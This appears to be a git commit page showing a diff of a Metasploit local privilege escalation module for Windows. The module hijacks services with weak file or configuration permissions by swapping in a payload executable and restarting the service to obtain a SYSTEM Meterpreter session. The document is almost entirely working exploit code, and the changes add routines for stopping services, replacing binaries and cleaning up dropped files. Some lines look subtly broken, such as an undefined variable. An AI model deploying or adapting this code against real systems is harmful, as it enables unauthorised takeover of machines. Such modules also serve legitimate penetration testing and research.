Large refactor of service_permissions

bug/bundler_fix
Meatballs 2013-12-15 18:00:14 +00:00
parent c97e8d3817
commit 7d7495a5dd
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 131 additions and 106 deletions

View File

@ -9,7 +9,11 @@ require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::File
include Msf::Post::Windows::Services
include Msf::Post::Windows::Accounts
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super( update_info( info,
@ -19,10 +23,7 @@ class Metasploit3 < Msf::Exploit::Local
a SYSTEM session. If directly creating a service fails, this module will inspect
existing services to look for insecure file or configuration permissions that may
be hijacked. It will then attempt to restart the replaced service to run the
payload. This will result in a new session when this succeeds. If the module is
able to modify the service but does not have permission to start and stop the
affected service, the attacker must wait for the system to restart before a
session will be created.
payload. This will result in a new session when this succeeds.
},
'License' => MSF_LICENSE,
'Author' => [ 'scriptjunkie' ],
@ -43,126 +44,150 @@ class Metasploit3 < Msf::Exploit::Local
))
register_options([
OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ])
OptBool.new("AGGRESSIVE", [ true, "Exploit as many services as possible (dangerous)", false ])
])
end
def exploit
# randomize the filename
filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
# randomize the exe name
tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
raw = payload.encoded
exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw)
sysdir = expand_path("%SystemRoot%")
tmpdir = expand_path("%TEMP%")
print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..")
begin
#
# Upload the payload to the filesystem
#
tempexe = tmpdir + "\\" + tempexe_name
write_file(tempexe, exe)
rescue ::Exception => e
print_error("Error uploading file #{filename}: #{e.class} #{e}")
return
end
def create_service(path)
success = false
print_status("Trying to add a new service...")
service_name = Rex::Text.rand_text_alpha((rand(8)+6))
if service_create(service_name,
"",
tempexe,
startup=2)
if service_create(service_name,"",path,startup=2)
print_status("Created service... #{service_name}")
ret = service_start(service_name)
print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
write_exe(path, service_name)
if service_start(service_name) == 0
print_good("Service should be started! Enjoy your new SYSTEM meterpreter session.")
success = true
end
service_delete(service_name)
return
else
print_status("No privs to create a service...")
success = false
end
print_status("Trying to find weak permissions in existing services..")
#Search through list of services to find weak permissions, whether file or config
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
#for each service
service_list.each do |serv|
begin
moved = false
configed = false
#default path, but there should be an ImagePath registry key
source = expand_path("%SYSTEMROOT%\\system32\\#{serv[:name]}.exe")
#get path to exe; parse out quotes and arguments
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv[:name]}","ImagePath").to_s
sourcemaybe = expand_path(sourceorig)
if( sourcemaybe[0] == '"' )
sourcemaybe = sourcemaybe.split('"')[1]
else
sourcemaybe = sourcemaybe.split(' ')[0]
end
begin
file?(sourcemaybe) #check if it really exists
source = sourcemaybe
rescue
print_status("Cannot reliably determine path for #{serv[:name]} executable. Trying #{source}")
end
return success
end
#try to exploit weak file permissions
if(source != tempexe && file_move(source, source+'.bak')
file_move(tempexe, source)
print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.")
moved = true
end
def weak_service_permissions(service_name, service, path)
success = false
vprint_status("[#{service_name}] Checking for weak service permissions")
#try to exploit weak config permissions
if service_change_config(serv[:name], {:bin_path_name => tempexe})
print_status("#{serv[:name]} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
configed = true
end
if(moved != true && configed != true)
print_status("No exploitable weak permissions found on #{serv[:name]}")
continue
end
print_status("Restarting #{serv[:name]}")
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
servhandleret = adv.OpenServiceA(manag["return"],serv[:name],0x30)
if(servhandleret["return"] != 0)
#SERVICE_CONTROL_STOP = 0x00000001
if(adv.ControlService(servhandleret["return"],1,56))
session.railgun.kernel32.Sleep(1000)
adv.StartServiceA(servhandleret["return"],0,nil)
print_status("#{serv[:name]} restarted. You should get a system meterpreter soon. Enjoy.")
#Cleanup
if moved == true
session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
end
if configed == true
servhandleret = adv.OpenServiceA(manag["return"],serv[:name],2)
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
adv.CloseServiceHandle(servhandleret["return"])
end
else
print_status("Could not restart #{serv[:name]}. Wait for a reboot or force one yourself.")
end
adv.CloseServiceHandle(servhandleret["return"])
if datastore['AGGRESSIVE'] != true
return
end
if service_change_config(service_name, {:bin_path_name => path})
print_good("[#{service_name}] has weak configuration permissions - reconfigured to use exe #{path}")
print_status("[#{service_name}] Restarting service")
stopped = service_stop(service_name)
unless (stopped == 2)
write_exe(path, service_name)
if (service_start(service_name) == 0)
print_good("[#{service_name}] Service restarted")
success = true
else
print_status("Could not restart #{serv[:name]}. Wait for a reboot. (or force one yourself)")
print_error("[#{service_name}] Unable to restart service")
end
rescue
end
unless service_change_config(name, {:bin_path_name => service[:path]})
print_error("[#{service_name}] Failed to reset service to original path #{service[:path]}")
end
end
return success
end
def weak_file_permissions(service_name, service, path, token)
success = false
vprint_status("[#{service_name}] Checking for weak file permissions")
#get path to exe; parse out quotes and arguments
original_path = service[:path]
possible_path = expand_path(original_path)
if (possible_path[0] == '"')
possible_path = possible_path.split('"')[1]
else
possible_path = possible_path.split(' ')[0]
end
unless file?(possible_path)
# If we cant determine it manually show the user and let them decide if manual inspection is worthwhile
print_status("[#{service_name}] Cannot reliably determine path: #{service[:path]}")
end
file_permissions = check_dir_perms(possible_path, token)
if file_permissions && file_permissions.index('W')
print_good("[#{service_name}] Write access to #{possible_path}")
begin
status = service_status(service_name)
no_access = false
# Unless service is already stopped
if status[:state] == 1
stopped = true
else
res = service_stop(service_name)
stopped = (res != 2)
end
rescue RuntimeError => e
vprint_error("[#{service_name}] #{e} ")
no_access = true
end
if stopped or no_access
begin
if move_file(possible_path, possible_path+'.bak')
write_exe(possible_path, service_name)
print_status("[#{service_name}] #{possible_path} moved to #{possible_path+'.bak'} and replaced.")
if (service_start(service_name) == 0)
print_good("[#{service_name}] Service restarted")
success = true
else
print_error("Unable to restart service")
end
end
rescue Rex::Post::Meterpreter::RequestError => e
vprint_error("[#{service_name}] #{e}")
end
else
vprint_error("[#{service_name}] Unable to stop service")
end
end
return success
end
# If ServiceType is SERVICE_WIN32_SHARE_PROCESS then we need to
# define the correct servicename.
def write_exe(path, service_name=nil)
vprint_status("[#{service_name}] Writing service executable to #{path}")
exe = generate_payload_exe_service({:servicename=>service_name})
write_file(path, exe)
register_files_for_cleanup(path)
end
def exploit
filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
sysdir = expand_path("%SystemRoot%")
tmpdir = expand_path("%TEMP%")
tempexe = tmpdir + "\\" + tempexe_name
#return if create_service(tempexe)
aggressive = datastore['AGGRESSIVE']
print_status("Trying to find weak permissions in existing services..")
token = get_imperstoken
service_list.each do |serv|
service_name = serv[:name]
service = service_info(service_name)
return if weak_file_permissions(service_name, service, tempexe, token) and not aggressive
return if weak_service_permissions(service_name, service, tempexe) and not aggressive
end
end
end